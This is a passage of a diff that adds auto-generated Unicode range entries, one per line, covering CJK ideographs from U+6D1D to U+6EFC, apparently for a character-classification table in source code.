+ ["\u6D1D", "\u6D1D"], /* CJK Ideograph */
+ ["\u6D1E", "\u6D1E"], /* CJK Ideograph */
+ ["\u6D1F", "\u6D1F"], /* CJK Ideograph */
+ ["\u6D20", "\u6D20"], /* CJK Ideograph */
+ ["\u6D21", "\u6D21"], /* CJK Ideograph */
+ ["\u6D22", "\u6D22"], /* CJK Ideograph */
+ ["\u6D23", "\u6D23"], /* CJK Ideograph */
+ ["\u6D24", "\u6D24"], /* CJK Ideograph */
+ ["\u6D25", "\u6D25"], /* CJK Ideograph */
+ ["\u6D26", "\u6D26"], /* CJK Ideograph */
+ ["\u6D27", "\u6D27"], /* CJK Ideograph */
+ ["\u6D28", "\u6D28"], /* CJK Ideograph */
+ ["\u6D29", "\u6D29"], /* CJK Ideograph */
+ ["\u6D2A", "\u6D2A"], /* CJK Ideograph */
+ ["\u6D2B", "\u6D2B"], /* CJK Ideograph */
+ ["\u6D2C", "\u6D2C"], /* CJK Ideograph */
+ ["\u6D2D", "\u6D2D"], /* CJK Ideograph */
+ ["\u6D2E", "\u6D2E"], /* CJK Ideograph */
+ ["\u6D2F", "\u6D2F"], /* CJK Ideograph */
+ ["\u6D30", "\u6D30"], /* CJK Ideograph */
+ ["\u6D31", "\u6D31"], /* CJK Ideograph */
+ ["\u6D32", "\u6D32"], /* CJK Ideograph */
+ ["\u6D33", "\u6D33"], /* CJK Ideograph */
+ ["\u6D34", "\u6D34"], /* CJK Ideograph */
+ ["\u6D35", "\u6D35"], /* CJK Ideograph */
+ ["\u6D36", "\u6D36"], /* CJK Ideograph */
+ ["\u6D37", "\u6D37"], /* CJK Ideograph */
+ ["\u6D38", "\u6D38"], /* CJK Ideograph */
+ ["\u6D39", "\u6D39"], /* CJK Ideograph */
+ ["\u6D3A", "\u6D3A"], /* CJK Ideograph */
+ ["\u6D3B", "\u6D3B"], /* CJK Ideograph */
+ ["\u6D3C", "\u6D3C"], /* CJK Ideograph */
+ ["\u6D3D", "\u6D3D"], /* CJK Ideograph */
+ ["\u6D3E", "\u6D3E"], /* CJK Ideograph */
+ ["\u6D3F", "\u6D3F"], /* CJK Ideograph */
+ ["\u6D40", "\u6D40"], /* CJK Ideograph */
+ ["\u6D41", "\u6D41"], /* CJK Ideograph */
+ ["\u6D42", "\u6D42"], /* CJK Ideograph */
+ ["\u6D43", "\u6D43"], /* CJK Ideograph */
+ ["\u6D44", "\u6D44"], /* CJK Ideograph */
+ ["\u6D45", "\u6D45"], /* CJK Ideograph */
+ ["\u6D46", "\u6D46"], /* CJK Ideograph */
+ ["\u6D47", "\u6D47"], /* CJK Ideograph */
+ ["\u6D48", "\u6D48"], /* CJK Ideograph */
+ ["\u6D49", "\u6D49"], /* CJK Ideograph */
+ ["\u6D4A", "\u6D4A"], /* CJK Ideograph */
+ ["\u6D4B", "\u6D4B"], /* CJK Ideograph */
+ ["\u6D4C", "\u6D4C"], /* CJK Ideograph */
+ ["\u6D4D", "\u6D4D"], /* CJK Ideograph */
+ ["\u6D4E", "\u6D4E"], /* CJK Ideograph */
+ ["\u6D4F", "\u6D4F"], /* CJK Ideograph */
+ ["\u6D50", "\u6D50"], /* CJK Ideograph */
+ ["\u6D51", "\u6D51"], /* CJK Ideograph */
+ ["\u6D52", "\u6D52"], /* CJK Ideograph */
+ ["\u6D53", "\u6D53"], /* CJK Ideograph */
+ ["\u6D54", "\u6D54"], /* CJK Ideograph */
+ ["\u6D55", "\u6D55"], /* CJK Ideograph */
+ ["\u6D56", "\u6D56"], /* CJK Ideograph */
+ ["\u6D57", "\u6D57"], /* CJK Ideograph */
+ ["\u6D58", "\u6D58"], /* CJK Ideograph */
+ ["\u6D59", "\u6D59"], /* CJK Ideograph */
+ ["\u6D5A", "\u6D5A"], /* CJK Ideograph */
+ ["\u6D5B", "\u6D5B"], /* CJK Ideograph */
+ ["\u6D5C", "\u6D5C"], /* CJK Ideograph */
+ ["\u6D5D", "\u6D5D"], /* CJK Ideograph */
+ ["\u6D5E", "\u6D5E"], /* CJK Ideograph */
+ ["\u6D5F", "\u6D5F"], /* CJK Ideograph */
+ ["\u6D60", "\u6D60"], /* CJK Ideograph */
+ ["\u6D61", "\u6D61"], /* CJK Ideograph */
+ ["\u6D62", "\u6D62"], /* CJK Ideograph */
+ ["\u6D63", "\u6D63"], /* CJK Ideograph */
+ ["\u6D64", "\u6D64"], /* CJK Ideograph */
+ ["\u6D65", "\u6D65"], /* CJK Ideograph */
+ ["\u6D66", "\u6D66"], /* CJK Ideograph */
+ ["\u6D67", "\u6D67"], /* CJK Ideograph */
+ ["\u6D68", "\u6D68"], /* CJK Ideograph */
+ ["\u6D69", "\u6D69"], /* CJK Ideograph */
+ ["\u6D6A", "\u6D6A"], /* CJK Ideograph */
+ ["\u6D6B", "\u6D6B"], /* CJK Ideograph */
+ ["\u6D6C", "\u6D6C"], /* CJK Ideograph */
+ ["\u6D6D", "\u6D6D"], /* CJK Ideograph */
+ ["\u6D6E", "\u6D6E"], /* CJK Ideograph */
+ ["\u6D6F", "\u6D6F"], /* CJK Ideograph */
+ ["\u6D70", "\u6D70"], /* CJK Ideograph */
+ ["\u6D71", "\u6D71"], /* CJK Ideograph */
+ ["\u6D72", "\u6D72"], /* CJK Ideograph */
+ ["\u6D73", "\u6D73"], /* CJK Ideograph */
+ ["\u6D74", "\u6D74"], /* CJK Ideograph */
+ ["\u6D75", "\u6D75"], /* CJK Ideograph */
+ ["\u6D76", "\u6D76"], /* CJK Ideograph */
+ ["\u6D77", "\u6D77"], /* CJK Ideograph */
+ ["\u6D78", "\u6D78"], /* CJK Ideograph */
+ ["\u6D79", "\u6D79"], /* CJK Ideograph */
+ ["\u6D7A", "\u6D7A"], /* CJK Ideograph */
+ ["\u6D7B", "\u6D7B"], /* CJK Ideograph */
+ ["\u6D7C", "\u6D7C"], /* CJK Ideograph */
+ ["\u6D7D", "\u6D7D"], /* CJK Ideograph */
+ ["\u6D7E", "\u6D7E"], /* CJK Ideograph */
+ ["\u6D7F", "\u6D7F"], /* CJK Ideograph */
+ ["\u6D80", "\u6D80"], /* CJK Ideograph */
+ ["\u6D81", "\u6D81"], /* CJK Ideograph */
+ ["\u6D82", "\u6D82"], /* CJK Ideograph */
+ ["\u6D83", "\u6D83"], /* CJK Ideograph */
+ ["\u6D84", "\u6D84"], /* CJK Ideograph */
+ ["\u6D85", "\u6D85"], /* CJK Ideograph */
+ ["\u6D86", "\u6D86"], /* CJK Ideograph */
+ ["\u6D87", "\u6D87"], /* CJK Ideograph */
+ ["\u6D88", "\u6D88"], /* CJK Ideograph */
+ ["\u6D89", "\u6D89"], /* CJK Ideograph */
+ ["\u6D8A", "\u6D8A"], /* CJK Ideograph */
+ ["\u6D8B", "\u6D8B"], /* CJK Ideograph */
+ ["\u6D8C", "\u6D8C"], /* CJK Ideograph */
+ ["\u6D8D", "\u6D8D"], /* CJK Ideograph */
+ ["\u6D8E", "\u6D8E"], /* CJK Ideograph */
+ ["\u6D8F", "\u6D8F"], /* CJK Ideograph */
+ ["\u6D90", "\u6D90"], /* CJK Ideograph */
+ ["\u6D91", "\u6D91"], /* CJK Ideograph */
+ ["\u6D92", "\u6D92"], /* CJK Ideograph */
+ ["\u6D93", "\u6D93"], /* CJK Ideograph */
+ ["\u6D94", "\u6D94"], /* CJK Ideograph */
+ ["\u6D95", "\u6D95"], /* CJK Ideograph */
+ ["\u6D96", "\u6D96"], /* CJK Ideograph */
+ ["\u6D97", "\u6D97"], /* CJK Ideograph */
+ ["\u6D98", "\u6D98"], /* CJK Ideograph */
+ ["\u6D99", "\u6D99"], /* CJK Ideograph */
+ ["\u6D9A", "\u6D9A"], /* CJK Ideograph */
+ ["\u6D9B", "\u6D9B"], /* CJK Ideograph */
+ ["\u6D9C", "\u6D9C"], /* CJK Ideograph */
+ ["\u6D9D", "\u6D9D"], /* CJK Ideograph */
+ ["\u6D9E", "\u6D9E"], /* CJK Ideograph */
+ ["\u6D9F", "\u6D9F"], /* CJK Ideograph */
+ ["\u6DA0", "\u6DA0"], /* CJK Ideograph */
+ ["\u6DA1", "\u6DA1"], /* CJK Ideograph */
+ ["\u6DA2", "\u6DA2"], /* CJK Ideograph */
+ ["\u6DA3", "\u6DA3"], /* CJK Ideograph */
+ ["\u6DA4", "\u6DA4"], /* CJK Ideograph */
+ ["\u6DA5", "\u6DA5"], /* CJK Ideograph */
+ ["\u6DA6", "\u6DA6"], /* CJK Ideograph */
+ ["\u6DA7", "\u6DA7"], /* CJK Ideograph */
+ ["\u6DA8", "\u6DA8"], /* CJK Ideograph */
+ ["\u6DA9", "\u6DA9"], /* CJK Ideograph */
+ ["\u6DAA", "\u6DAA"], /* CJK Ideograph */
+ ["\u6DAB", "\u6DAB"], /* CJK Ideograph */
+ ["\u6DAC", "\u6DAC"], /* CJK Ideograph */
+ ["\u6DAD", "\u6DAD"], /* CJK Ideograph */
+ ["\u6DAE", "\u6DAE"], /* CJK Ideograph */
+ ["\u6DAF", "\u6DAF"], /* CJK Ideograph */
+ ["\u6DB0", "\u6DB0"], /* CJK Ideograph */
+ ["\u6DB1", "\u6DB1"], /* CJK Ideograph */
+ ["\u6DB2", "\u6DB2"], /* CJK Ideograph */
+ ["\u6DB3", "\u6DB3"], /* CJK Ideograph */
+ ["\u6DB4", "\u6DB4"], /* CJK Ideograph */
+ ["\u6DB5", "\u6DB5"], /* CJK Ideograph */
+ ["\u6DB6", "\u6DB6"], /* CJK Ideograph */
+ ["\u6DB7", "\u6DB7"], /* CJK Ideograph */
+ ["\u6DB8", "\u6DB8"], /* CJK Ideograph */
+ ["\u6DB9", "\u6DB9"], /* CJK Ideograph */
+ ["\u6DBA", "\u6DBA"], /* CJK Ideograph */
+ ["\u6DBB", "\u6DBB"], /* CJK Ideograph */
+ ["\u6DBC", "\u6DBC"], /* CJK Ideograph */
+ ["\u6DBD", "\u6DBD"], /* CJK Ideograph */
+ ["\u6DBE", "\u6DBE"], /* CJK Ideograph */
+ ["\u6DBF", "\u6DBF"], /* CJK Ideograph */
+ ["\u6DC0", "\u6DC0"], /* CJK Ideograph */
+ ["\u6DC1", "\u6DC1"], /* CJK Ideograph */
+ ["\u6DC2", "\u6DC2"], /* CJK Ideograph */
+ ["\u6DC3", "\u6DC3"], /* CJK Ideograph */
+ ["\u6DC4", "\u6DC4"], /* CJK Ideograph */
+ ["\u6DC5", "\u6DC5"], /* CJK Ideograph */
+ ["\u6DC6", "\u6DC6"], /* CJK Ideograph */
+ ["\u6DC7", "\u6DC7"], /* CJK Ideograph */
+ ["\u6DC8", "\u6DC8"], /* CJK Ideograph */
+ ["\u6DC9", "\u6DC9"], /* CJK Ideograph */
+ ["\u6DCA", "\u6DCA"], /* CJK Ideograph */
+ ["\u6DCB", "\u6DCB"], /* CJK Ideograph */
+ ["\u6DCC", "\u6DCC"], /* CJK Ideograph */
+ ["\u6DCD", "\u6DCD"], /* CJK Ideograph */
+ ["\u6DCE", "\u6DCE"], /* CJK Ideograph */
+ ["\u6DCF", "\u6DCF"], /* CJK Ideograph */
+ ["\u6DD0", "\u6DD0"], /* CJK Ideograph */
+ ["\u6DD1", "\u6DD1"], /* CJK Ideograph */
+ ["\u6DD2", "\u6DD2"], /* CJK Ideograph */
+ ["\u6DD3", "\u6DD3"], /* CJK Ideograph */
+ ["\u6DD4", "\u6DD4"], /* CJK Ideograph */
+ ["\u6DD5", "\u6DD5"], /* CJK Ideograph */
+ ["\u6DD6", "\u6DD6"], /* CJK Ideograph */
+ ["\u6DD7", "\u6DD7"], /* CJK Ideograph */
+ ["\u6DD8", "\u6DD8"], /* CJK Ideograph */
+ ["\u6DD9", "\u6DD9"], /* CJK Ideograph */
+ ["\u6DDA", "\u6DDA"], /* CJK Ideograph */
+ ["\u6DDB", "\u6DDB"], /* CJK Ideograph */
+ ["\u6DDC", "\u6DDC"], /* CJK Ideograph */
+ ["\u6DDD", "\u6DDD"], /* CJK Ideograph */
+ ["\u6DDE", "\u6DDE"], /* CJK Ideograph */
+ ["\u6DDF", "\u6DDF"], /* CJK Ideograph */
+ ["\u6DE0", "\u6DE0"], /* CJK Ideograph */
+ ["\u6DE1", "\u6DE1"], /* CJK Ideograph */
+ ["\u6DE2", "\u6DE2"], /* CJK Ideograph */
+ ["\u6DE3", "\u6DE3"], /* CJK Ideograph */
+ ["\u6DE4", "\u6DE4"], /* CJK Ideograph */
+ ["\u6DE5", "\u6DE5"], /* CJK Ideograph */
+ ["\u6DE6", "\u6DE6"], /* CJK Ideograph */
+ ["\u6DE7", "\u6DE7"], /* CJK Ideograph */
+ ["\u6DE8", "\u6DE8"], /* CJK Ideograph */
+ ["\u6DE9", "\u6DE9"], /* CJK Ideograph */
+ ["\u6DEA", "\u6DEA"], /* CJK Ideograph */
+ ["\u6DEB", "\u6DEB"], /* CJK Ideograph */
+ ["\u6DEC", "\u6DEC"], /* CJK Ideograph */
+ ["\u6DED", "\u6DED"], /* CJK Ideograph */
+ ["\u6DEE", "\u6DEE"], /* CJK Ideograph */
+ ["\u6DEF", "\u6DEF"], /* CJK Ideograph */
+ ["\u6DF0", "\u6DF0"], /* CJK Ideograph */
+ ["\u6DF1", "\u6DF1"], /* CJK Ideograph */
+ ["\u6DF2", "\u6DF2"], /* CJK Ideograph */
+ ["\u6DF3", "\u6DF3"], /* CJK Ideograph */
+ ["\u6DF4", "\u6DF4"], /* CJK Ideograph */
+ ["\u6DF5", "\u6DF5"], /* CJK Ideograph */
+ ["\u6DF6", "\u6DF6"], /* CJK Ideograph */
+ ["\u6DF7", "\u6DF7"], /* CJK Ideograph */
+ ["\u6DF8", "\u6DF8"], /* CJK Ideograph */
+ ["\u6DF9", "\u6DF9"], /* CJK Ideograph */
+ ["\u6DFA", "\u6DFA"], /* CJK Ideograph */
+ ["\u6DFB", "\u6DFB"], /* CJK Ideograph */
+ ["\u6DFC", "\u6DFC"], /* CJK Ideograph */
+ ["\u6DFD", "\u6DFD"], /* CJK Ideograph */
+ ["\u6DFE", "\u6DFE"], /* CJK Ideograph */
+ ["\u6DFF", "\u6DFF"], /* CJK Ideograph */
+ ["\u6E00", "\u6E00"], /* CJK Ideograph */
+ ["\u6E01", "\u6E01"], /* CJK Ideograph */
+ ["\u6E02", "\u6E02"], /* CJK Ideograph */
+ ["\u6E03", "\u6E03"], /* CJK Ideograph */
+ ["\u6E04", "\u6E04"], /* CJK Ideograph */
+ ["\u6E05", "\u6E05"], /* CJK Ideograph */
+ ["\u6E06", "\u6E06"], /* CJK Ideograph */
+ ["\u6E07", "\u6E07"], /* CJK Ideograph */
+ ["\u6E08", "\u6E08"], /* CJK Ideograph */
+ ["\u6E09", "\u6E09"], /* CJK Ideograph */
+ ["\u6E0A", "\u6E0A"], /* CJK Ideograph */
+ ["\u6E0B", "\u6E0B"], /* CJK Ideograph */
+ ["\u6E0C", "\u6E0C"], /* CJK Ideograph */
+ ["\u6E0D", "\u6E0D"], /* CJK Ideograph */
+ ["\u6E0E", "\u6E0E"], /* CJK Ideograph */
+ ["\u6E0F", "\u6E0F"], /* CJK Ideograph */
+ ["\u6E10", "\u6E10"], /* CJK Ideograph */
+ ["\u6E11", "\u6E11"], /* CJK Ideograph */
+ ["\u6E12", "\u6E12"], /* CJK Ideograph */
+ ["\u6E13", "\u6E13"], /* CJK Ideograph */
+ ["\u6E14", "\u6E14"], /* CJK Ideograph */
+ ["\u6E15", "\u6E15"], /* CJK Ideograph */
+ ["\u6E16", "\u6E16"], /* CJK Ideograph */
+ ["\u6E17", "\u6E17"], /* CJK Ideograph */
+ ["\u6E18", "\u6E18"], /* CJK Ideograph */
+ ["\u6E19", "\u6E19"], /* CJK Ideograph */
+ ["\u6E1A", "\u6E1A"], /* CJK Ideograph */
+ ["\u6E1B", "\u6E1B"], /* CJK Ideograph */
+ ["\u6E1C", "\u6E1C"], /* CJK Ideograph */
+ ["\u6E1D", "\u6E1D"], /* CJK Ideograph */
+ ["\u6E1E", "\u6E1E"], /* CJK Ideograph */
+ ["\u6E1F", "\u6E1F"], /* CJK Ideograph */
+ ["\u6E20", "\u6E20"], /* CJK Ideograph */
+ ["\u6E21", "\u6E21"], /* CJK Ideograph */
+ ["\u6E22", "\u6E22"], /* CJK Ideograph */
+ ["\u6E23", "\u6E23"], /* CJK Ideograph */
+ ["\u6E24", "\u6E24"], /* CJK Ideograph */
+ ["\u6E25", "\u6E25"], /* CJK Ideograph */
+ ["\u6E26", "\u6E26"], /* CJK Ideograph */
+ ["\u6E27", "\u6E27"], /* CJK Ideograph */
+ ["\u6E28", "\u6E28"], /* CJK Ideograph */
+ ["\u6E29", "\u6E29"], /* CJK Ideograph */
+ ["\u6E2A", "\u6E2A"], /* CJK Ideograph */
+ ["\u6E2B", "\u6E2B"], /* CJK Ideograph */
+ ["\u6E2C", "\u6E2C"], /* CJK Ideograph */
+ ["\u6E2D", "\u6E2D"], /* CJK Ideograph */
+ ["\u6E2E", "\u6E2E"], /* CJK Ideograph */
+ ["\u6E2F", "\u6E2F"], /* CJK Ideograph */
+ ["\u6E30", "\u6E30"], /* CJK Ideograph */
+ ["\u6E31", "\u6E31"], /* CJK Ideograph */
+ ["\u6E32", "\u6E32"], /* CJK Ideograph */
+ ["\u6E33", "\u6E33"], /* CJK Ideograph */
+ ["\u6E34", "\u6E34"], /* CJK Ideograph */
+ ["\u6E35", "\u6E35"], /* CJK Ideograph */
+ ["\u6E36", "\u6E36"], /* CJK Ideograph */
+ ["\u6E37", "\u6E37"], /* CJK Ideograph */
+ ["\u6E38", "\u6E38"], /* CJK Ideograph */
+ ["\u6E39", "\u6E39"], /* CJK Ideograph */
+ ["\u6E3A", "\u6E3A"], /* CJK Ideograph */
+ ["\u6E3B", "\u6E3B"], /* CJK Ideograph */
+ ["\u6E3C", "\u6E3C"], /* CJK Ideograph */
+ ["\u6E3D", "\u6E3D"], /* CJK Ideograph */
+ ["\u6E3E", "\u6E3E"], /* CJK Ideograph */
+ ["\u6E3F", "\u6E3F"], /* CJK Ideograph */
+ ["\u6E40", "\u6E40"], /* CJK Ideograph */
+ ["\u6E41", "\u6E41"], /* CJK Ideograph */
+ ["\u6E42", "\u6E42"], /* CJK Ideograph */
+ ["\u6E43", "\u6E43"], /* CJK Ideograph */
+ ["\u6E44", "\u6E44"], /* CJK Ideograph */
+ ["\u6E45", "\u6E45"], /* CJK Ideograph */
+ ["\u6E46", "\u6E46"], /* CJK Ideograph */
+ ["\u6E47", "\u6E47"], /* CJK Ideograph */
+ ["\u6E48", "\u6E48"], /* CJK Ideograph */
+ ["\u6E49", "\u6E49"], /* CJK Ideograph */
+ ["\u6E4A", "\u6E4A"], /* CJK Ideograph */
+ ["\u6E4B", "\u6E4B"], /* CJK Ideograph */
+ ["\u6E4C", "\u6E4C"], /* CJK Ideograph */
+ ["\u6E4D", "\u6E4D"], /* CJK Ideograph */
+ ["\u6E4E", "\u6E4E"], /* CJK Ideograph */
+ ["\u6E4F", "\u6E4F"], /* CJK Ideograph */
+ ["\u6E50", "\u6E50"], /* CJK Ideograph */
+ ["\u6E51", "\u6E51"], /* CJK Ideograph */
+ ["\u6E52", "\u6E52"], /* CJK Ideograph */
+ ["\u6E53", "\u6E53"], /* CJK Ideograph */
+ ["\u6E54", "\u6E54"], /* CJK Ideograph */
+ ["\u6E55", "\u6E55"], /* CJK Ideograph */
+ ["\u6E56", "\u6E56"], /* CJK Ideograph */
+ ["\u6E57", "\u6E57"], /* CJK Ideograph */
+ ["\u6E58", "\u6E58"], /* CJK Ideograph */
+ ["\u6E59", "\u6E59"], /* CJK Ideograph */
+ ["\u6E5A", "\u6E5A"], /* CJK Ideograph */
+ ["\u6E5B", "\u6E5B"], /* CJK Ideograph */
+ ["\u6E5C", "\u6E5C"], /* CJK Ideograph */
+ ["\u6E5D", "\u6E5D"], /* CJK Ideograph */
+ ["\u6E5E", "\u6E5E"], /* CJK Ideograph */
+ ["\u6E5F", "\u6E5F"], /* CJK Ideograph */
+ ["\u6E60", "\u6E60"], /* CJK Ideograph */
+ ["\u6E61", "\u6E61"], /* CJK Ideograph */
+ ["\u6E62", "\u6E62"], /* CJK Ideograph */
+ ["\u6E63", "\u6E63"], /* CJK Ideograph */
+ ["\u6E64", "\u6E64"], /* CJK Ideograph */
+ ["\u6E65", "\u6E65"], /* CJK Ideograph */
+ ["\u6E66", "\u6E66"], /* CJK Ideograph */
+ ["\u6E67", "\u6E67"], /* CJK Ideograph */
+ ["\u6E68", "\u6E68"], /* CJK Ideograph */
+ ["\u6E69", "\u6E69"], /* CJK Ideograph */
+ ["\u6E6A", "\u6E6A"], /* CJK Ideograph */
+ ["\u6E6B", "\u6E6B"], /* CJK Ideograph */
+ ["\u6E6C", "\u6E6C"], /* CJK Ideograph */
+ ["\u6E6D", "\u6E6D"], /* CJK Ideograph */
+ ["\u6E6E", "\u6E6E"], /* CJK Ideograph */
+ ["\u6E6F", "\u6E6F"], /* CJK Ideograph */
+ ["\u6E70", "\u6E70"], /* CJK Ideograph */
+ ["\u6E71", "\u6E71"], /* CJK Ideograph */
+ ["\u6E72", "\u6E72"], /* CJK Ideograph */
+ ["\u6E73", "\u6E73"], /* CJK Ideograph */
+ ["\u6E74", "\u6E74"], /* CJK Ideograph */
+ ["\u6E75", "\u6E75"], /* CJK Ideograph */
+ ["\u6E76", "\u6E76"], /* CJK Ideograph */
+ ["\u6E77", "\u6E77"], /* CJK Ideograph */
+ ["\u6E78", "\u6E78"], /* CJK Ideograph */
+ ["\u6E79", "\u6E79"], /* CJK Ideograph */
+ ["\u6E7A", "\u6E7A"], /* CJK Ideograph */
+ ["\u6E7B", "\u6E7B"], /* CJK Ideograph */
+ ["\u6E7C", "\u6E7C"], /* CJK Ideograph */
+ ["\u6E7D", "\u6E7D"], /* CJK Ideograph */
+ ["\u6E7E", "\u6E7E"], /* CJK Ideograph */
+ ["\u6E7F", "\u6E7F"], /* CJK Ideograph */
+ ["\u6E80", "\u6E80"], /* CJK Ideograph */
+ ["\u6E81", "\u6E81"], /* CJK Ideograph */
+ ["\u6E82", "\u6E82"], /* CJK Ideograph */
+ ["\u6E83", "\u6E83"], /* CJK Ideograph */
+ ["\u6E84", "\u6E84"], /* CJK Ideograph */
+ ["\u6E85", "\u6E85"], /* CJK Ideograph */
+ ["\u6E86", "\u6E86"], /* CJK Ideograph */
+ ["\u6E87", "\u6E87"], /* CJK Ideograph */
+ ["\u6E88", "\u6E88"], /* CJK Ideograph */
+ ["\u6E89", "\u6E89"], /* CJK Ideograph */
+ ["\u6E8A", "\u6E8A"], /* CJK Ideograph */
+ ["\u6E8B", "\u6E8B"], /* CJK Ideograph */
+ ["\u6E8C", "\u6E8C"], /* CJK Ideograph */
+ ["\u6E8D", "\u6E8D"], /* CJK Ideograph */
+ ["\u6E8E", "\u6E8E"], /* CJK Ideograph */
+ ["\u6E8F", "\u6E8F"], /* CJK Ideograph */
+ ["\u6E90", "\u6E90"], /* CJK Ideograph */
+ ["\u6E91", "\u6E91"], /* CJK Ideograph */
+ ["\u6E92", "\u6E92"], /* CJK Ideograph */
+ ["\u6E93", "\u6E93"], /* CJK Ideograph */
+ ["\u6E94", "\u6E94"], /* CJK Ideograph */
+ ["\u6E95", "\u6E95"], /* CJK Ideograph */
+ ["\u6E96", "\u6E96"], /* CJK Ideograph */
+ ["\u6E97", "\u6E97"], /* CJK Ideograph */
+ ["\u6E98", "\u6E98"], /* CJK Ideograph */
+ ["\u6E99", "\u6E99"], /* CJK Ideograph */
+ ["\u6E9A", "\u6E9A"], /* CJK Ideograph */
+ ["\u6E9B", "\u6E9B"], /* CJK Ideograph */
+ ["\u6E9C", "\u6E9C"], /* CJK Ideograph */
+ ["\u6E9D", "\u6E9D"], /* CJK Ideograph */
+ ["\u6E9E", "\u6E9E"], /* CJK Ideograph */
+ ["\u6E9F", "\u6E9F"], /* CJK Ideograph */
+ ["\u6EA0", "\u6EA0"], /* CJK Ideograph */
+ ["\u6EA1", "\u6EA1"], /* CJK Ideograph */
+ ["\u6EA2", "\u6EA2"], /* CJK Ideograph */
+ ["\u6EA3", "\u6EA3"], /* CJK Ideograph */
+ ["\u6EA4", "\u6EA4"], /* CJK Ideograph */
+ ["\u6EA5", "\u6EA5"], /* CJK Ideograph */
+ ["\u6EA6", "\u6EA6"], /* CJK Ideograph */
+ ["\u6EA7", "\u6EA7"], /* CJK Ideograph */
+ ["\u6EA8", "\u6EA8"], /* CJK Ideograph */
+ ["\u6EA9", "\u6EA9"], /* CJK Ideograph */
+ ["\u6EAA", "\u6EAA"], /* CJK Ideograph */
+ ["\u6EAB", "\u6EAB"], /* CJK Ideograph */
+ ["\u6EAC", "\u6EAC"], /* CJK Ideograph */
+ ["\u6EAD", "\u6EAD"], /* CJK Ideograph */
+ ["\u6EAE", "\u6EAE"], /* CJK Ideograph */
+ ["\u6EAF", "\u6EAF"], /* CJK Ideograph */
+ ["\u6EB0", "\u6EB0"], /* CJK Ideograph */
+ ["\u6EB1", "\u6EB1"], /* CJK Ideograph */
+ ["\u6EB2", "\u6EB2"], /* CJK Ideograph */
+ ["\u6EB3", "\u6EB3"], /* CJK Ideograph */
+ ["\u6EB4", "\u6EB4"], /* CJK Ideograph */
+ ["\u6EB5", "\u6EB5"], /* CJK Ideograph */
+ ["\u6EB6", "\u6EB6"], /* CJK Ideograph */
+ ["\u6EB7", "\u6EB7"], /* CJK Ideograph */
+ ["\u6EB8", "\u6EB8"], /* CJK Ideograph */
+ ["\u6EB9", "\u6EB9"], /* CJK Ideograph */
+ ["\u6EBA", "\u6EBA"], /* CJK Ideograph */
+ ["\u6EBB", "\u6EBB"], /* CJK Ideograph */
+ ["\u6EBC", "\u6EBC"], /* CJK Ideograph */
+ ["\u6EBD", "\u6EBD"], /* CJK Ideograph */
+ ["\u6EBE", "\u6EBE"], /* CJK Ideograph */
+ ["\u6EBF", "\u6EBF"], /* CJK Ideograph */
+ ["\u6EC0", "\u6EC0"], /* CJK Ideograph */
+ ["\u6EC1", "\u6EC1"], /* CJK Ideograph */
+ ["\u6EC2", "\u6EC2"], /* CJK Ideograph */
+ ["\u6EC3", "\u6EC3"], /* CJK Ideograph */
+ ["\u6EC4", "\u6EC4"], /* CJK Ideograph */
+ ["\u6EC5", "\u6EC5"], /* CJK Ideograph */
+ ["\u6EC6", "\u6EC6"], /* CJK Ideograph */
+ ["\u6EC7", "\u6EC7"], /* CJK Ideograph */
+ ["\u6EC8", "\u6EC8"], /* CJK Ideograph */
+ ["\u6EC9", "\u6EC9"], /* CJK Ideograph */
+ ["\u6ECA", "\u6ECA"], /* CJK Ideograph */
+ ["\u6ECB", "\u6ECB"], /* CJK Ideograph */
+ ["\u6ECC", "\u6ECC"], /* CJK Ideograph */
+ ["\u6ECD", "\u6ECD"], /* CJK Ideograph */
+ ["\u6ECE", "\u6ECE"], /* CJK Ideograph */
+ ["\u6ECF", "\u6ECF"], /* CJK Ideograph */
+ ["\u6ED0", "\u6ED0"], /* CJK Ideograph */
+ ["\u6ED1", "\u6ED1"], /* CJK Ideograph */
+ ["\u6ED2", "\u6ED2"], /* CJK Ideograph */
+ ["\u6ED3", "\u6ED3"], /* CJK Ideograph */
+ ["\u6ED4", "\u6ED4"], /* CJK Ideograph */
+ ["\u6ED5", "\u6ED5"], /* CJK Ideograph */
+ ["\u6ED6", "\u6ED6"], /* CJK Ideograph */
+ ["\u6ED7", "\u6ED7"], /* CJK Ideograph */
+ ["\u6ED8", "\u6ED8"], /* CJK Ideograph */
+ ["\u6ED9", "\u6ED9"], /* CJK Ideograph */
+ ["\u6EDA", "\u6EDA"], /* CJK Ideograph */
+ ["\u6EDB", "\u6EDB"], /* CJK Ideograph */
+ ["\u6EDC", "\u6EDC"], /* CJK Ideograph */
+ ["\u6EDD", "\u6EDD"], /* CJK Ideograph */
+ ["\u6EDE", "\u6EDE"], /* CJK Ideograph */
+ ["\u6EDF", "\u6EDF"], /* CJK Ideograph */
+ ["\u6EE0", "\u6EE0"], /* CJK Ideograph */
+ ["\u6EE1", "\u6EE1"], /* CJK Ideograph */
+ ["\u6EE2", "\u6EE2"], /* CJK Ideograph */
+ ["\u6EE3", "\u6EE3"], /* CJK Ideograph */
+ ["\u6EE4", "\u6EE4"], /* CJK Ideograph */
+ ["\u6EE5", "\u6EE5"], /* CJK Ideograph */
+ ["\u6EE6", "\u6EE6"], /* CJK Ideograph */
+ ["\u6EE7", "\u6EE7"], /* CJK Ideograph */
+ ["\u6EE8", "\u6EE8"], /* CJK Ideograph */
+ ["\u6EE9", "\u6EE9"], /* CJK Ideograph */
+ ["\u6EEA", "\u6EEA"], /* CJK Ideograph */
+ ["\u6EEB", "\u6EEB"], /* CJK Ideograph */
+ ["\u6EEC", "\u6EEC"], /* CJK Ideograph */
+ ["\u6EED", "\u6EED"], /* CJK Ideograph */
+ ["\u6EEE", "\u6EEE"], /* CJK Ideograph */
+ ["\u6EEF", "\u6EEF"], /* CJK Ideograph */
+ ["\u6EF0", "\u6EF0"], /* CJK Ideograph */
+ ["\u6EF1", "\u6EF1"], /* CJK Ideograph */
+ ["\u6EF2", "\u6EF2"], /* CJK Ideograph */
+ ["\u6EF3", "\u6EF3"], /* CJK Ideograph */
+ ["\u6EF4", "\u6EF4"], /* CJK Ideograph */
+ ["\u6EF5", "\u6EF5"], /* CJK Ideograph */
+ ["\u6EF6", "\u6EF6"], /* CJK Ideograph */
+ ["\u6EF7", "\u6EF7"], /* CJK Ideograph */
+ ["\u6EF8", "\u6EF8"], /* CJK Ideograph */
+ ["\u6EF9", "\u6EF9"], /* CJK Ideograph */
+ ["\u6EFA", "\u6EFA"], /* CJK Ideograph */
+ ["\u6EFB", "\u6EFB"], /* CJK Ideograph */
+ ["\u6EFC", "\u6EFC"], /* CJK Ideograph */
